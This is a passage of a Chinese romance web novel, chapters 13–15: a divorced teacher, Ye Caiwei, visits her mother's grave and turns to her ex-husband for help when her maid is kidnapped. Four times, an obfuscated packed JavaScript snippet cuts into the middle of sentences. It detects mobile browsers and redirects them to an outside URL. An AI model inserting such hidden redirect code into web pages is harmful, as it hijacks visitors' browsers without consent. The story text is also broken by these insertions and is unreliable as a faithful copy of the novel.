到时候,容津岸就算是活着,也早就重新娶妻生子,不会再与她纠缠,更不会与她争夺她唯一的儿子。 可是三人成虎,十几年光阴的未知,秘密再如何被严密遮掩,终究有被揭穿的那日。 就像叶渚亭的秘密,处心积虑隐瞒了她十几年,最后她得知真相,天崩地裂。 到底是她错了。 “停车。”叶采薇忽然吩咐车夫。 “容安其实一直都希望阿娘能带容安出门,对不对?七叔叔每次带容安出来,容安总是玩得开开心心。”她牵着叶琛的手,离开马车, “今晚,就让阿娘好好陪陪容安,好不好?” 其实这些年,她从不带叶琛出门,是害怕被书院里熟识之人看见。书院里的人不知她的真实身份,只道她因家道中落、经奚家七爷奚子瑜的推荐在此独居,不知她成过亲,更不知她还有个孩子。 今晚的她心乱如麻,只想和叶琛好好相处。 反正,容津岸已经离开了东流,不会再此时出现了。 今晚的街市也冷冷清清,叶琛看出了娘亲的心神不宁,即使兴奋好奇,也绝不多表露半分,只安安分分被娘亲牵着。 走到一个卖面具的摊位前,叶琛才终于晃了晃叶采薇的手: “阿娘,这些面具好漂亮,你和容安一人买一个戴上,好不好?” 只要他和娘亲都戴上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14305445|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面具,这街上便再不会有人认出他们来。 他想让阿娘摆脱忧虑,他想让阿娘重获快乐。 摊位上摆着各式各样的面具。 怒目的金刚、长鼻的大象、狰狞的恶鬼、狡黠的狐狸,还有呆滞木讷的昆仑奴、慈眉善目的赵公明。 叶采薇的视线一一扫过去。 那一年在京城,上元节的灯会热闹非凡,叶采薇与同窗几人为了给秘密相恋的温谣和孟崛制造约会的机会,决定结伴夜游。 他们刚刚离开叶府,也遇上卖面具的小贩。 因着叶采薇属虎,她便选了张牙舞爪的老虎,戴上的同时,就听见身旁的奚子瑜揶揄容津岸道: “仲修,你真要这张猪脸?只怕等会儿人一多,遇到个胆儿大的姑娘,迷恋你这风流倜傥的身姿,本来是要上来搭话的,凑近了,却被这张丑陋无比的猪脸吓得溜之大吉。” “君子从不以貌取人。”容津岸坚持自己的选择。 奚子瑜意味深长地看着已经戴了老虎面具的叶采薇,勾唇一笑,这才随手拿了一张纵目巨耳的“千里眼顺风耳”面具,给自己戴上: “也是,喜欢仲修的姑娘,即使你这面具下真长了一张猪脸,也照样喜欢得不得了,哪里还看得见旁人?” 那一晚,京城的街市灯火通明,几个人顶着面具,玩过了猜灯谜、花式投壶,围观了盛大的烟火,还有卖艺人精彩纷呈的杂技,他们在拥挤的人潮里嬉嬉笑笑,挥霍着青春的浮光,谁也没有发觉,老虎和小猪,是从什么时候起不见的。 叶采薇牵着容津岸的手,躲在街角的榕树后面。 榕树已有百岁,树干宽阔强壮,完美地将他们隔绝,创造属于他们的天地。 叶采薇将自己的面具摘下来,又踮脚,去够容津岸脸上的面具。 可是男人摆明存了逗弄的心思,故意把下巴抬起来,他身材本就高大,叶采薇伸尽了玉臂,还是徒劳无功。 “哥哥,你让我把面具摘下来嘛!”她腻着嗓子撒娇。 “摘下来做什么?刚刚是谁目不转睛,盯着这张猪脸看的?”他笑。 “我要亲你,”她急得脸颊透红,“好哥哥,让我亲亲你嘛!” 容津岸长臂一展,顺势把少女揽在怀里,让她贴着他的心跳。他身上的气息清淡凛冽,即使沾染了尘世喧嚣,却还是透着不食人间烟火的清高。 “小老虎,吃掉小猪的时候,嘴巴要张大一点。” 然后突然将自己的面具摘下来,倾身堵住她香软的嘴唇。 面具落地,悄无声息。 他的手掌骨节分明,长指深深插.入她如瀑的青丝,将她的后脑托住,他清淡的气息随着他与她纠缠的唇齿寸寸没入,在少女的心头,开出一朵一朵妖冶魅艳的藤萝。 外面的烟花绚烂多姿,人潮拥挤,煌煌烨烨的街市像川流不息的海。 无人知晓的角落里,她也为他沉沦,沉沦欲.海。 ——“阿娘,这只狸猫的面具画得真可爱,容安就要这一只,好不好?” 叶琛脆生生的嗓音,如春日里吹落花瓣的风,叶采薇从恍惚中抽离,手心里全是汗。 “狸猫势小,不如猛虎,万兽之王。这只老虎面具画得如此生动,威风凛凛,显然更适合男孩子戴。” 随着男声而来的,还有一只清晰凌厉的大手。 叶采薇忽然不自觉一抖。 容津岸不是早就离开东流了吗,怎么会突然出现在他们身后? 13. 绩溪 13 最终,叶采薇还是给叶琛买了他喜欢的狸猫面具。 虚惊一场。 也许是她被面具勾起往事而心神荡漾,竟然会把佟归鹤的声音和手型,都认做了容津岸。 从前她也这样,被容津岸的一举一动而牵动神思。 第一次,是她在街头两次偶遇他、请他单独吃饭却不欢而散之后。 连续好几日,叶采薇都沉浸在莫名的闷闷不乐之中,想不明白为什么,直到叶渚亭从国子监带了人回到叶府。 国子监的课业清闲,叶渚亭惜才,让这几人在以后的空闲时日都到叶府上来,他为他们专门开授私课。 其中就有容津岸和奚子瑜。 叶采薇是由叶渚亭手把手教出来的“关门弟子”,面对几名突然多出来的同窗却并不排斥,反而表现款款,大方得体。 奚子瑜不似容津岸那般冷淡,圆滑热情,主动向叶采薇问好,还说希望叶大姑娘之后看在同窗的薄面上,对自己的文章口下留情。 也正是在此时,叶采薇才恍然大悟,原来她随口对容津岸文章的那句“华而不实,徒有其表”的批评,不仅被他本人听到,还在那日来叶府的所有国子监新生之中,传了个遍。 所以,那顿不欢而散的饭,是容津岸恼怒她,明明不喜辞藻华丽的文章,却撒谎敷衍? 可是,既然恼怒,为什么不直接说出来,而是憋在心里,故意冷待她呢? 一副道貌岸然的臭皮囊,凭什么敢这么对待她? 她当时并不知晓,这几乎成为了他们两人后来相处的常态。 以至于绝大多数时候,她根本不清楚,容津岸心里有没有她。 牵着叶琛的叶采薇回过神来,买下了另一张仿兰陵王入阵的木制面具。 她忽然发觉,自己思虑了两日的另一个问题,已经因着这场偶遇,迎刃而解了。 既然撞破了她与儿子出街,想必佟归鹤会知难而退,再不去想那个考取功名后向她提亲的大胆决定。 这个刚刚弱冠的青年连自己都照顾不好,又何况照顾叶琛这个与他非亲非故的孤傲男孩呢? *** 之后的日子平淡无波,但却忙碌充实。 叶采薇答应了梅若雪,要在学生们科举后离开东流,她需要为此做许多准备。 在东流购置的所有店铺和庄子,尽数低价转让给梅若雪。 庄子一向是由梅若雪在打理,左手倒右手的事,自不必说; 至于那些店铺,则主要由叶采薇的另一名婢女见雁在管,转手之前,自然是要将钱货等等统统计算清楚。 见雁与问鹂一样,从小服侍叶采薇。 两人的名字都是叶采薇所起,一个出自“楼倚暮云初见雁①”,一个出自“除非问取黄鹂②”。叶采薇在东流落脚之后,见雁便发挥了自己善于经营理财的长处,将叶采薇的店铺打理得井井有条,生意蒸蒸日上。 可以说,当日的池州,叶采薇能在容津岸与康和县主面前豪掷千金,见雁功不可没。 但饶是厉害如见雁,多少间铺子的重任陡然压下来,她长了三头六臂,也难以从容应对,好在叶采薇未嫁时早早掌握了理家之技,对见雁的忙碌操劳又心疼又愧疚,索性将大半时间都用在分担见雁的压力上,时常与她一同熬到深夜。 抽空时,叶采薇处理了与书院相关的事。 当初能来青莲书院教书,全靠奚子瑜的引荐保举,这次叶采薇却要绕过奚子瑜去向书院的山长请辞,好在山长通情达理,甚至还答应了她,在她离开之前向书院所有人保密。 忙忙碌碌之余,叶采薇收到了来自京城的书信。 是温谣寄来的,厚厚一叠。 信上,温谣只字不提她当年滑胎一事,反而事无巨细地说起了她和孟崛在前年初生的女儿。从她发现有孕到十月怀胎,从小姑娘呱呱坠地到能翻身、爬行、站立,软软糯糯地唤她和孟崛阿爹阿娘,字里行间,尽是浓浓的母爱。 叶采薇一字一句地读着信,忍不住热泪盈眶。 她到底何德何能,能够在短短二十四年的人生里,遇到温谣、梅若雪这样的知己好友? 还有问鹂和见雁,不止是她的左膀右臂,还是陪伴她走过艰难岁月的姐妹至亲。 她本性疏狂,是只下山猛虎,她们包容她的横冲直撞、对她不离不弃。 温谣的信上还说了两件事。 第一件是说,这五年来每逢清明和忌日,温谣与孟崛都要到城郊,为叶渚亭的两座坟祭扫,每次容津岸都比他们早一天去; 第二件是说,今年雨水充沛,京城的冬天会下大雪,温谣非常希望,叶采薇能够到京城和她一起过年。 叶采薇却不知该如何回信。 她想念温谣,也知晓温谣很想念她,然而这次回到东流,她却面临了许多措手不及的变故,牵一发而动全身,她必须得斟酌应对。 这一斟酌,便斟酌到了八月,这一届青莲书院的学生纷纷准备出发赶赴应天,参加即将到来的乡试。 叶采薇答应了梅若雪要在此时离开东流,却选择将叶琛留下,仍由梅若雪照料。 动身的那日,叶琛的眼睛一直没有离开过她。 男孩的眉宇凝结着愁苦,分明是不舍的,却又兀自想起上次自己失礼后娘亲的严厉斥责,默默隐忍,实在忍不住,只能站在叶采薇的脚边,定定望向她: “阿娘,这一次你去应天,还会和上次去池州那般言而无信吗?” 叶琛的皮肤很白,和他父亲容津岸一样,也正因为如此,他圆圆的瞳孔就更像一口幽深的黑井,叶采薇心头猛地一缩,主动蹲下来,与他平视: “言而无信,不知其可也③。上次是阿娘的错,这一回,若阿娘再次言而无信,还怎么对容安以身作则?” “容安要阿娘平安回来。”说完,叶琛的薄唇抿成了一条线。 “只是陪学生们参加秋闱,容安放心,阿娘不会有事的。”她忍不住摸了摸叶琛的小脑袋。 但……真的只是陪学生们参加秋闱吗? 那不过是她为了让叶琛放心的幌子。 这一趟离开东流,带上问鹂和见雁,她并不去应天,而是为了寻找,她们一家四口新的落脚之地。 等到一切落实,她再将叶琛接走。 但离开东流,叶采薇决定先回一趟绩溪。 绩溪是叶氏的祖地。但早在几代以前,叶家一门便因为在京任职而购置了京宅、举家迁至京城,后来嘉泰元年,祖父被迫退出内阁,被贬至徽州任知府,便再次举家迁回绩溪祖宅,一直到叶采薇出生的第二年,叶渚亭被嘉泰帝亲自召回京城,绩溪的祖宅才再次成为空宅。 那里已经久无人居,叶采薇三人刚到绩溪,见雁便说自己先回去清理打扫,等到她们从姚氏的坟前回来,刚好可以入住。 叶采薇一心挂念生母姚氏,嘱咐了见雁两句,带着问鹂匆匆离开。 与容津岸和离之后,她因担心容津岸的骚扰,五年来都再未回过绩溪,这次有了机会,她自然是马不停蹄,带着祭品奔赴姚氏的坟茔。 谁知道,却遇见了她意想不到的人。 她十分庆幸自己这趟没有把叶琛带出来。 容津岸刚刚祭扫完,清冷淡漠的眼神扫过来,和那日在青莲书院里拂袖而去的失态模样完全不同。 “今日是叶夫人的生忌,大人刚好来绩溪办事,顺路过来看看。”他身后的容文乐对叶采薇主仆二人解释。 其实不难理解。 叶采薇的祖父,当年在任徽州知府期间,曾经数次资助过容津岸父亲的学业。而叶渚亭不仅因此早早便与容津岸父亲相识,两人还是同科进士,后来又先后遭遇贬谪、外放回到家乡。 姚氏从前是见过孩提时的容津岸的。 “家母仙逝多年,容大人有心了。”这一次施礼,叶采薇全是出自真心。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14329669|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大人会在绩溪多留两日,若是姑娘……哦不,先生,若是先生有事,可以到寿连客栈找他。”容文乐又道。 等到那两人离去,叶采薇这才收敛心神,郑重走到姚氏的墓前。 姚氏在她一岁那年离世,算起来,这座孤坟已有二十三个年头。但仔细观察,墓碑干净,周遭平整,祭品和香烛纸钱都收拾得一尘不染,定是有人经常打理。 可是,谁又会对姚氏的坟茔如此上心呢? 叶氏一族人丁单薄,连续数代单传,如今在徽州姓叶之人,能与叶采薇有血缘的,查查族谱,也早已出了五服; 姚家并不在绩溪,何况当年姚氏是不顾家人反对嫁给叶渚亭的,姚家人不可能来; 而这周围的邻里,当初叶渚亭在朝中蒸蒸日上时倒把绩溪的一切经营得井井有条,叶渚亭一朝失势,这些人也对叶家避之不及,更不可能还像从前那样对待姚氏的坟茔。 叶采薇想不明白,也不敢深想。 香烛熊燃,纸钱一遇上火苗,便迅速窜成了黑黢黢的灰烬,向上飞舞,叶采薇在姚氏的坟前跪下,面容沉肃,重重磕了三个头。 “阿娘,是女儿不孝,已经有六年没有回来看过你了。” “阿爹那边,谣谣和她的夫君念着旧情,时常会去探望,女儿也不打算将他迁回绩溪来。虽然女儿原谅了他,但他是阿娘的夫君,阿娘你一天不发话,女儿就不可以代替阿娘原谅他。” “阿娘,你是不是在怪女儿不回来看你?你已经有整整五年,没有入女儿的梦了……” 叶采薇擦了擦眼泪。 “至于容安,下一次,女儿一定带他来看你。” “刚才来看你的那个人叫容津岸,是容安的父亲,他还是个四五岁小屁孩的时候,阿娘你见过他的。女儿和他已经和离五年了,就是因为他,害得女儿一直没敢来看你……他不知道容安的存在,阿娘最疼女儿了,女儿求求你,可千万千万不要在他那里说漏了嘴。” 问鹂在一旁兢兢业业烧纸,听到此处,忍不住抿唇笑了笑。 能陪在这样的姑娘身边,每一天都是开心快乐的。 主仆两人在姚氏的坟前待了很久。 叶采薇把藏在心里的话说完,又和问鹂一起将坟前全部收拾一新。等她们走回叶家祖宅的时候,却看见那扇漆黑的广梁大门,挂着一样十分惹眼、又明显不属于这里的东西。 走近一看,是见雁的手帕。 见雁的女红手艺特殊,一眼便认得,绝不会错。那手帕包着的还有一封信,说是见雁已经落到了他们的手中,若要赎人,必须在两人内拿出五千两来。 见雁被人绑架了,绑匪知道她们有钱,一来便狮子大开口。 叶采薇五雷轰顶。 “见雁她、她不过就是先过来打扫宅院,怎么就……”问鹂心急如焚,每一个字都在颤抖。 她与见雁从小就跟在叶采薇的身边,把彼此视作姐妹,一想到见雁可能得遭遇,眼泪便如瀑布一般哗哗外流。 叶采薇的心揪在了一处,每一下都在疼。 她不可以再失去任何人了。 “姑娘,报官吧,我们报官吧。”问鹂哭得嗓子都哑了。 这一次出来,与上次带学生去池州府城不同,只有她们三个女子同行,所带的银票不多,而绩溪距离东流接近五百里路程,若是返回东流取钱,一来一回,见雁早已命丧黄泉。 “我是罪臣之女,”叶采薇银牙咬碎, “纵然,当初因着婚嫁逃过一死,但毕竟身份特殊,绩溪的县令也早已不是当初受过阿爹提拔的那位。如今,我以民妇的身份报官,以他们的作风,必不会好生对待。” 问鹂抓紧了叶采薇的手,两人的掌心俱是一片冰凉。 “只有两日,时间紧迫。”叶采薇一顿, “眼前最好的办法,就是找容津岸,上次我帮他的红颜知己康和县主一个大忙,这一次,也该他还回来了。” 14. 牙齿印 14 谁也没想到,容文乐在姚氏的坟前随口那句“若是先生有事,可以到寿连客栈找他”的话,竟然真的派上了用场。 容文乐对叶采薇的到来很是意外。 容文乐被收留时,正是容津岸拿到解元、叶采薇春风得意的时候,叶采薇待所有的婢仆都很好,即使后来遭逢剧变、她每日笼罩在阴霾之中,也从不迁怒于下人,反而还会为了自己偶尔的失控而向他们道歉。 见到叶采薇主动来找容津岸,容文乐本来很是高兴,但见叶采薇面色阴沉又行迹匆匆,只好将心中的喜悦按下,快速引路。 “容阁老,上次你的红颜知己摔碎了人家对的天青汝窑杯,我替她赔了一万两,这么些时日过去,请你立刻把钱还给我。”一见容津岸,叶采薇毫不客气,开门见山。 容津岸还是那一身青白色的素净衫袍,长指端着茶盏,正在慢条斯理地品茶。 听到叶采薇的话,他缓缓将茶盏放下,目光敛闭,形容疏懒: “既然要我还钱,方才在叶夫人的坟前,怎么不开口?” 叶采薇并不想将见雁的事外传,顿了顿说: “阿娘平素喜静,我不想有人在她坟前撒野,铜臭之类,污了她清明的耳。” 容津岸不知为何嗤笑一下。 叶采薇猜他在嘲笑她的故作清高。 “上次在青莲书院,叶先生可是亲口说过,不打算让我们还钱。” 容津岸仍旧未抬眼: “为学生们出钱出力,都是叶先生,你这个老师应有的责任。” 话倒是记得一清二楚,难免阴阳怪气。 而容津岸这副气定神闲的模样很难不让叶采薇气恼,但毕竟人命关天,她狠狠地掐自己的手心,强迫冷静再冷静,撑着双眸: “那,上次的五千两呢?我说了,那是给你与康和县主新婚的礼金,但既然你和她并无婚约,这钱我自然该收回来的。” 于情于理,她找他要钱都是不容置疑的。 容津岸抬起头。 “那五千两,不是给阿娘仙逝的帛金吗?” 他的视线像鸿毛一般落入她急切的眼眸,那样清澈,那样无辜。 可叶采薇知道,他是故意装出一副无知的样子,以此激怒她。 话明明是之前他自己说的,游娘子不要她的帛金。 怎么还能如此颠倒黑白? “你——”她杏眼圆睁。 突然,叶采薇脑中闪过了一个念头。 为什么在姚氏的坟前,容文乐会无缘无故提起,容津岸要在绩溪落脚,还报上了客栈的名字? “容津岸,”她直呼他的姓名,“不会是你干的吧?” “容仲修,你到底还是不是人?” 男人用目光紧紧将她锁住。 须臾,他波澜不惊的面上有了阴翳,笼罩着他苍白的皮肤。 “究竟发生了什么事?” 叶采薇从鼻子里哼了一声,对他这般惺惺作态不屑一顾: “还在装?明明是你找人把见雁抓起来,装成是绑匪勒索我,好让我过来求你!” 她越说越气,怒火点燃,像只炸毛的狮子: “亏你还是清流领袖,怎么手段如此下作?我告诉你,见雁和问鹂不仅仅是我的婢女,更是与我相依为命的亲人,如果你敢让见雁受半点委屈,我叶采薇豁出这条命,也要跟你没完!” “所以,你打算用钱去把见雁赎回来?”容津岸已然想通来龙去脉,脸色阴沉,“薇薇,为什么不报官?你真的认为那些绑匪有良心,收了你的钱,就会把见雁平安放出来?” 叶采薇恨不得撕了他: “既然不是你做的,跟我说这些废话做什么?人命关天,赶紧,赶紧把钱还给我!” “我不会随身带那么多银票的。”容津岸说。 “没钱?!”叶采薇几乎叫出来,“没钱你跟我罗里吧嗦说这么多?浪费时间!” 她强忍住把眼前的男人暴打一顿的冲动,转身就走。 “镖师,对,找个镖师,快马加鞭带我回一趟东流,应该赶得及……”她火急火燎往外赶,口中念念有词。 谁知手腕上一痛。 “薇薇,是不是我的话,在你心里都是废话,一句也听不进去?”容津岸起身,追上来,他捏住她手腕的力气很大,似乎根本不打算放过她。 叶采薇的心本就在油锅里炸,这一下,就像是往油锅里洒了好大一把凉水,噼里啪啦爆得到处都是。 早知道,她就不来找他了。 他只会让她心烦。 一想到这些,叶采薇突然将被他握住的手腕抬起来,照着他惨白的手背,狠狠咬下去。 发狠,再发狠,恨不得直接将那块肉咬掉。 可她到底不是真正的猛虎,没有尖利的獠牙,自认为使出了全力,容津岸却纹丝未动,她仍旧被他紧紧攥着。 愤怒混杂着委屈,化作热泪,霎时间堆满她的眼眶。 “绑匪都是亡命之徒,不是重信守诺的正人君子,你拿着钱去,到最后只能人财两空。” 容津岸的话淡定极了,仿似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14336088|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她不是在咬他,而只是轻吻。 “小猫,要救出见雁,唯一的办法就是找官府出面。”他并没有收回手的意思,“你若再这般执迷不悟,只会害死见雁。” 叶采薇心跳如雷,松开了口。 只见容津岸惨白的手背上,她留下的深深牙印,十分瞩目。 她的胸膛上下起伏,仿佛刚刚经历了一场鏖战,手腕仍被他攥着。 “若我现在放了你走,等到你失去见雁的时候,你会自责和痛苦。” 容津岸的声音镇定得实在不像话: “我们现在立刻出发,到徽州府城去,绩溪的县令为人奸猾,必会百般推诿拖延,徽州知府与我有些交情,以我的名义报官抓人,救出见雁。” 叶采薇的眼泪不争气地落了下来,她翻着眼皮,吸了吸鼻子,却还是涩涩哑哑: “如果见雁救不回来,你该拿什么向我交代?” “小猫,”容津岸的目光落在她留给他的牙齿印上,“人不应该老是去想最坏的结果,要往好处看,不是吗?” 这话,从前他绝不会对她说。 即使是乐极生悲的那天。 他刚刚参加殿试,被嘉泰帝钦点为探花,与她定亲的同一日,太子逆案爆发,仿若一道惊雷,将她触手可及的幸福劈开,粉身碎骨,血淋淋地张开狰狞的爪牙,她看着叶家倾覆,看着叶渚亭被捕下狱,她仓皇而无助,死死拽着他的衣角: “怎么办?怎么办?我到底可以做什么,怎么样才能把阿爹救出来?” 他将她搂在怀中,轻拍她的脊背,然而动作僵硬。 “小猫,你阿爹的事,你要做好最坏的打算……” 偶尔理智回笼的时候,她也理解他。 那桩太子逆案证据确凿、石破天惊,天子只处理了太子党而没有祸连九族十族,已经是对他们格外开恩了。 容津岸一个刚刚入仕的小小翰林,根本做不了什么。 但她也不是真要他为了一桩明知没有可能的案子赴汤蹈火。 她只是想要得到他的承诺,想听他说出可以为她奋不顾身的话,哪怕、哪怕只是为了哄她开心,为什么就是得不到呢? 而现在,危机再次突然降临,比起当年来,这个男人早已褪去了青涩,是万人敬仰的国之肱骨,却还是不肯说出半句承诺。 就这么不愿意承担责任? “当日说什么,要我跟你走?”叶采薇翻出了青莲书院里,他对她说的话,冷笑, “容津岸,你连我的婢女都保护不好,凭什么要我跟你走?” 15. 上药 15 容津岸一直牵着叶采薇。 离开绩溪的客栈,上马车,去往徽州府城,一路上都没有松手。 等到马车停在了徽州知府衙门前,容津岸这才卸了力。 他从容站起身,快要出马车的时候,回头看向叶采薇: “在这里等我。” 他在朝堂上也是这么为人处世的吗? 叶采薇咬着牙,捂住自己已然发肿的手腕,一声不吭。 过了会儿,马车之外,传来容文乐向问鹂说话的声音: “这是大人吩咐小的为先生买的药膏。大人说,事出紧急,冒犯了先生,若是先生的手腕因此受伤,他没办法向奚公子交代。” 问鹂沉默,上马车的时候,满脸都写着疑惑。 她显然对容文乐最后那句话一头雾水,打开药膏的盖子,听到叶采薇低低嘟囔: “那天他到东流,先去了奚家,刚好七奶奶不在,小厮的话说得模棱两可,他就误会七奶奶是我。” 问鹂哭笑不得: “这么荒谬的误会,简直不像容大人会想出来的……” “可是这下误会大了,先生怎么不向容大人解释清楚?” 说着,问鹂手上的力道没控制住,大了一点。 “嘶……好疼……”叶采薇眼眶红红,想把手臂缩回来,又强行忍下。 她气鼓鼓: “只准他和康和县主制造误会,不准我也制造误会?再说了,这误会不是我造出来、是他自己乱想的,我只不过是没有澄清罢了。” 问鹂往她的腕子上极轻极柔地吹气。 “这些都是小事,跟见雁的性命比起来,容津岸的误会算什么?”一想到见雁,叶采薇长叹一声。 事情到底如何?见雁能不能平安回来? 若是见雁最后真的因为她的谬误而错失了得救的良机,恐怕她后半生,都不会原谅自己。 这边,容津岸的进展很快。 徽州知府行事果断稳妥,在得到容津岸提供的线索和证据之后,立刻着人去办。 至于他心中的疑惑,关于这个向来不近女色、甚至身边连服侍的丫头和嬷嬷都没有的容大人,何时有了如此体己的婢女,还让他亲自过来报案,徽州知府来不及措辞细问,先被容津岸开了口: “知府衙门的后院是有住所的,为容某行个方便?” 再见叶采薇的时候,容津岸站在马车下,隔着帘子: “绑走见雁的,是从南边来的一伙流寇,他们在徽州已经作乱很久,知府早就筹谋捉拿,这次有了新鲜的线索,更是如虎添翼。” “我只要见雁平安回来。”叶采薇并未掀起帘子。 她还是没能从他口中听到半句承诺。 如此吝啬吗? 容津岸的声音隔着帘子传来: “见雁出事,需要我找人回东流的奚家报信?” 叶采薇咬唇沉默,又听他说: “堂堂奚家七奶奶,回乡祭扫,只带两个贴身婢女?奚子瑜就放心你这样出来?” 话里话外都是嘲讽。 此时,突然从衙门口出来一队人马,脚步声踢踢踏踏,领头的大捕头呵斥之声抑扬顿挫,还有小贩路人议论的叽叽喳喳,乱哄哄扫至叶采薇的耳畔。 一想到见雁很快就能得救回来,叶采薇的胸口便不那么紧了。 待嘈杂远去,周遭恢复平静,容津岸又说: “你和他的事,我不干预。” “今晚,你和问鹂住在知府衙门里。” 叶采薇说了声“好”。 “我回家里住。”容津岸顿了顿,“容文乐留下来,随时等消息。” 不过,好像并没有人问他他要住在哪里。 之后,再无交流。 叶采薇并未见到徽州知府本人,衙门来的接应之人也只唤她“娘子”,无人知晓她的身份。 与问鹂在衙门后院的厢房落了脚,两人却都因为忧心见雁而根本无法歇息,时辰长了,渐渐抱作一团,连呼吸都在颤抖。 容文乐一直守在外面。 到了后半夜,院子里忽然开始躁动起来,由远及近,说话声脚步声乱七八糟,叶采薇的心口被那些声音扯住,疼得要命,她站起来,脚底发虚,刚好厢房的门被敲响,是容文乐雀跃的声音: “娘子,见雁姑娘平安回来了!” 见雁已然昏迷,一阵手忙脚乱过后,她被安置在了厢房。 “回来的路上,大夫瞧过了,见雁姑娘只是受了点轻伤,等她醒来,应当没什么大碍。”容文乐疲惫笑着,“谢天谢地,娘子可以放心了。” 叶采薇和问鹂不眠不休地守着见雁,一直到快要午时,见雁悠悠转醒。 “口渴了是不是?”叶采薇心头的大石终于落地,她坐在床头,把见雁微微扶起来、让她靠在自己的怀里。 问鹂在一旁倒了茶端过来,叶采薇用手心试了试温度,正准备往见雁唇边送去,怀里的人却突然怔愣: “姑、姑爷……” 叶采薇与问鹂俱是一惊,她们都只顾着见雁,根本没有察觉,容津岸竟然不经通传,便入了这间厢房。 说好的克己复礼的君子呢? “我的好姐姐,你也是睡糊涂了,这哪里是七爷?” 问鹂面不改色地扯谎,直接定性为见雁刚苏醒口齿不清,把“七爷”说成“姑爷”。 容津岸不会起疑。 “这次你遇险,多亏了容大人出面来请徽州知府,否则我只能老老实实交赎金,祈祷那些歹徒真的会拿钱放人。” 叶采薇也放下茶盏,语气很是自然。 见雁当然是疑惑的。 自从跟着她家姑娘离开京城,已经整整五年没有半点容大人的消息,甫一见到他,她神思恍惚,顺口便唤起了从前的称呼,也不算太失礼。 可是,她明明叫的是“姑爷”,怎么问鹂自己听岔了还非要给她扣锅,歪曲她要喊“七爷”? 奚家七爷奚子瑜可比容大人差远了,无论是外貌还是气度,她再受惊糊涂,也不可能认错人的。 叶采薇自然看穿她的疑惑,暗自懊悔当时回到东流没有将重遇容津岸一事告知见雁,忙起了身,引着容津岸往外走。 他们站在四下无人的廊庑里。 午间日头正盛,大片大片地打在容津岸的身上,他的皮肤显得更加白,眉宇凛冽如远山青黛,似笼着渺渺烟云。 “这次谢谢你。”说完叶采薇便垂下头,像个主动对老师认错的学生,“昨天,是我太冲动,你说的那些都是对的。” 容津岸没有接话,就光是站着,已经足以渊渟岳峙。 “那个……你手背上的伤,”叶采薇早已不复伶牙俐齿,“还、还好吧?” 她想起昨天狠狠咬的那一口,心头忽然一荡,耳根也不由发烫。 “反正从前没少挨你的咬,习惯了。”容津岸却淡定得不像话。 叶采薇的耳根更烫了。 他之所以会叫她“小猫”,便是因为她总是管不住自己的嘴。 尤其是当他下了狠劲撞得她魂飞魄散,她妖妖娇娇地求饶他却变本加厉时,她气急,便逮到哪里咬哪里。 他不是把她当做奚子瑜的夫人了吗?怎么能突然提起这个? 叶采薇气结,却听他不疾不徐—— “阿娘的新坟刚刚立好不久,难得来一次歙县,去给她上柱香?”容津岸将手背了过去。 徽州的府城就在歙县,容家的旧居不在城中。 “好。”叶采薇同意。 游秀玉的葬地挨着田埂,她与容津岸的父亲合葬,旁边则长眠着容津岸的兄长。 容津岸的父兄与叶采薇的生母姚氏死在同一场瘟疫之中,但直到容津岸将游秀玉接到京城,叶采薇才知晓此事。 叶渚亭瞒着她,容津岸也瞒着她。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14347351|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >甚至,容津岸从小就从游秀玉的口中知道了她。游秀玉除了说她长得粉雕玉琢实在出色之外,对她对叶渚亭,都没有什么好话。 这些,叶采薇都一直被蒙在鼓里。 她与容津岸本来就不应该开始,都是她坚持一厢情愿。 最终,也是她自食苦果。 叶采薇恭敬严肃地给三座墓碑一一上香,默了一会儿后,容津岸在一旁问: “要不要到家里坐坐?” 他好像少说了“我的”两个字。 叶采薇摇头:“不知见雁眼下如何了,我得回去看看。” 那是他的家,不是她的。 与她无关。 从前与容津岸热恋时,她说过很多次要和他一同返乡,要看看他从小到大生长的地方。 然而,当热恋中无数次想象和期待的憧憬,在这样一个猝不及防的时候被推到她的面前来,却都早已失去了当年风光无限的模样。 有些事,错过了再来,到底还是错过了。 